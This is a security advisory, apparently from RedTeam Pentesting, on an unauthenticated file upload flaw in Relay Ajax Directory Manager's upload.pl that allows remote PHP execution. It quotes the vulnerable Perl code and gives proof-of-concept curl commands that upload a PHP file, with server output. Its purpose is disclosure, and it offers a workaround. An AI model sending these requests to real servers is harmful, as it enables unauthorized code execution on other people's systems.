Advisory: Unauthenticated File Upload in Relay Ajax Directory Manager
may Lead to Remote Command Execution
A vulnerability within the Relay Ajax Directory Manager web application
allows unauthenticated attackers to upload arbitrary files to the web
server running the web application.
Details
=======
Product: Relay Ajax Directory Manager
Affected Versions: relayb01-071706, 1.5.1, 1.5.3 were tested, other
versions most likely vulnerable as well.
Fixed Versions: -
Vulnerability Type: Unauthenticated File Upload
Security Risk: high
Vendor URL: https://github.com/HadoDokis/Relay-Ajax-Directory-Manager
Vendor Status: decided not to fix, project is unmaintained
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2016-005
Advisory Status: published
CVE: GENERIC-MAP-NOMATCH
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH
Introduction
============
Relay Ajax Directory Manager[1], also known as relay[2], is a web-based
file manager. It allows files and folders to be uploaded via drag and
drop and provides several other features, such as a thumbnail preview
for images and basic user authentication functionality.
More Details
============
While the web application itself is mostly written in PHP, it also
utilizes the Perl script 'upload.pl' for handling uploads initiated by
the user.
Uploading is a multi-step process:
1. The user initiates a multipart/form-data upload request through the
web application. This request is sent to the Perl script and the
following steps are handled by it.
2. A temporary file containing the entire request (including
headers) is created. This temporary file is named partly by the first
URL parameter, as shown in the following listing.
3. The headers and the POST body of the request are parsed and filtered
to determine the final filename.
4. The upload is written to the final destination.
5. A file containing statistics about the upload process is written
During steps 2-5, no checks are performed to ensure that the user is
sufficiently authenticated.
The following listing shows parts of the upload Perl script:
-- upload.pl -----------------------------------------------------------
[...]
@qstring=split(/&/,$ENV{'QUERY_STRING'});
$sessionid = $qstring[0];
[...]
$tmpfile = "$uploadsFolder\\temp_$sessionid";
$statsfile = "$uploadsFolder\\stats_$sessionid.txt";
$tmpfilepre= "$uploadsFolder\\$sessionid\_";
[...]
open(FILE,">","$tmpfilepre$filename") or print "can't open temp file";
binmode(FILE);
print FILE $filedata;
close FILE;
[...]
------------------------------------------------------------------------
Here, the first URL parameter is stored in the variable $sessionid. The
content of this variable is then used as a prefix for the filename for
the uploaded data before it ultimately gets written. Given the
configured upload directory, which is 'uploads/' by default, the URL of
the uploaded file can be determined.
The web application usually requires users to be authenticated before
any actions (e.g. uploading) can be performed, but since the Perl script
is not secured by any form of authentication, it can be accessed by
anyone. If the web server does not prohibit the execution of e.g. PHP
files within the upload directory, arbitrary PHP commands can be
executed by uploading the respective files to the web server.
Proof of Concept
================
In general, the Perl script expects a request containing
multipart/form-data. In this case, the name specified in the 'filename'
field is prepended with the first URL parameter. Using the command line
HTTP client curl, a request like the following can be made to a
vulnerable installation of Relay Ajax Directory Manager in order to
upload a PHP script which invokes the function 'phpinfo()':
curl -i -s -k -X 'POST' \
-H 'Content-Type: multipart/form-data; boundary=----------------------------83ff53821b7c' \
--data-binary $'------------------------------83ff53821b7c\x0d\x0a'\
$'Content-Disposition: form-data; filename=\"info.php\"\x0d\x0a'\
$'Content-Type: application/octet-stream\x0d\x0a\x0d\x0a'\
$'<?php phpinfo(); ?>\x0d\x0a'\
$'------------------------------83ff53821b7c--' \
'http://example.com/relay-1-5-3/upload.pl?redteam'
The server responds with HTTP status code 200 indicating a successful
upload:
HTTP/1.1 200 OK
Date: Mon, 09 May 2016 11:09:50 GMT
Server: Apache/2.4.18 (Debian)
Content-Length: 0
Content-Type: text/plain
Such a request would yield the following files in the web server's
upload directory upon success:
$ ls relay-1-5-3/uploads/
redteam_info.php stats_redteam.txt temp_redteam
The file redteam_info.php contains the multipart/form-data that was
sent to the upload.pl script:
$ cat relay-1-5-3/uploads/temp_redteam.php
<?php phpinfo(); ?>
Requesting this file with the URL
http://example.com/relay-1-5-3/uploads/redteam_info.php will then yield
the server's output of the phpinfo() function.
However, since the entire content of the upload request is saved to a
temporary file, a regular POST request containing only the code to be
executed is sufficient to exploit this vulnerability. The following
invocation of curl uploads the same PHP script which invokes the
function 'phpinfo()':
$ curl --silent --include --data '<?php phpinfo(); ?>' \
'http://example.com/relay-1-5-3/upload.pl?redteam.php'
In the server's upload directory, the file temp_redteam.php contains
the data that was sent to the upload.pl script:
$ ls relay-1-5-3/uploads/
stats_redteam.php.txt temp_redteam.php
$ cat temp_redteam.php
<?php phpinfo(); ?>
Requesting this file with the URL
http://example.com/relay-1-5-3/uploads/temp_redteam.php will again yield
the server's output of the phpinfo() function.
Using either of these methods, an attacker is able to upload arbitrary
files to the affected web server e.g. in order to easily execute PHP
commands with the privileges of the web server.
Workaround
==========
One possible workaround would be to prevent the execution of files in
the upload directory and deliver them as attachments instead.
Fix
===
None.
Security Risk
=============
This vulnerability allows unauthenticated attackers to upload arbitrary
files to the affected system. In the web server's and project's default
configuration it is very likely that this may be used to execute
arbitrary commands with the privileges of the web server process. This
is possible without authentication, thereby providing no barrier for
attackers. It is therefore rated as a high risk. Since this software is
quite old and not well maintained, it is likely that additional
vulnerabilities exist. However, this was not further evaluated.
Timeline
========
2015-11-19 Vulnerability discovered
2016-04-07 Customer approved disclosure of vulnerability
2016-05-12 Developers contacted, project is no longer maintained
2016-05-31 Advisory published
References
==========
[1] https://github.com/HadoDokis/Relay-Ajax-Directory-Manager
[2] https://code.google.com/p/relay/
RedTeam Pentesting GmbH
=======================
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